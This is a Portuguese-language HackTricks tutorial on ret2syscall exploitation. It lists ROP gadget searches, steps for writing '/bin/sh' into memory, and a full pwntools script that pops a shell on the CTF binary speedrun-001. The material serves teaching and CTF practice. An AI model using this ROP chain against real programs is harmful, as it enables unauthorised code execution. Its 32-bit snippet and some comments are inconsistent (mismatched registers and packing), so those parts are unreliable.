Ret2syscall

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informações Básicas

Isso é semelhante ao Ret2lib, no entanto, neste caso, não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall sys_execve com alguns argumentos para executar /bin/sh. Esta técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.

Para preparar a chamada para a syscall, é necessária a seguinte configuração:

  • rax: 59 Especificar sys_execve
  • rdi: ptr para "/bin/sh" especificar arquivo a ser executado
  • rsi: 0 especificar nenhum argumento passado
  • rdx: 0 especificar nenhuma variável de ambiente passada

Então, basicamente, é necessário escrever a string /bin/sh em algum lugar e, em seguida, realizar a syscall (estando ciente do padding necessário para controlar a pilha). Para isso, precisamos de um gadget para escrever /bin/sh em uma área conhecida.

tip

Outra syscall interessante para chamar é mprotect, que permitiria a um atacante modificar as permissões de uma página na memória. Isso pode ser combinado com ret2shellcode.

Gadgets de Registro

Vamos começar encontrando como controlar esses registradores:

bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret 0x0000000000400686 : pop rdi ; ret 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret

Com esses endereços, é possível escrever o conteúdo na pilha e carregá-lo nos registradores.

Escrever string

Memória gravável

Primeiro, você precisa encontrar um lugar gravável na memória.

bash
gef> vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Escrever String na memória

Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço.

python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Automatizar cadeia ROP

O seguinte comando cria uma cadeia ROP completa sys_execve dada uma binário estático quando há gadgets write-what-where e instruções syscall:

bash
ROPgadget --binary vuln --ropchain

32 bits

python
''' Lets write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop += popRdx # place value into EAX rop += "/bin" # 4 bytes at a time rop += popRax # place value into edx rop += p32(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += popRdx rop += "//sh" rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget

64 bits

python
''' Lets write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx

Gadgets Faltando

Se você está faltando gadgets, por exemplo, para escrever /bin/sh na memória, você pode usar a técnica SROP para controlar todos os valores dos registradores (incluindo RIP e registradores de parâmetros) a partir da pilha:

SROP - Sigreturn-Oriented Programming

Exemplo de Exploit

python
from pwn import * target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad') # Establish our ROP Gadgets popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5) # 0x000000000048d251 : mov qword ptr [rax], rdx ; ret writeGadget = p64(0x48d251) # Our syscall gadget syscall = p64(0x40129c) ''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget ''' Prep the four registers with their arguments, and make the syscall pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0 syscall ''' rop += popRax rop += p64(0x3b) rop += popRdi rop += p64(0x6b6000) rop += popRsi rop += p64(0) rop += popRdx rop += p64(0) rop += syscall # Add the padding to the saved return address payload = "0"*0x408 + rop # Send the payload, drop to an interactive shell to use our new shell target.sendline(payload) target.interactive()

Outros Exemplos & Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks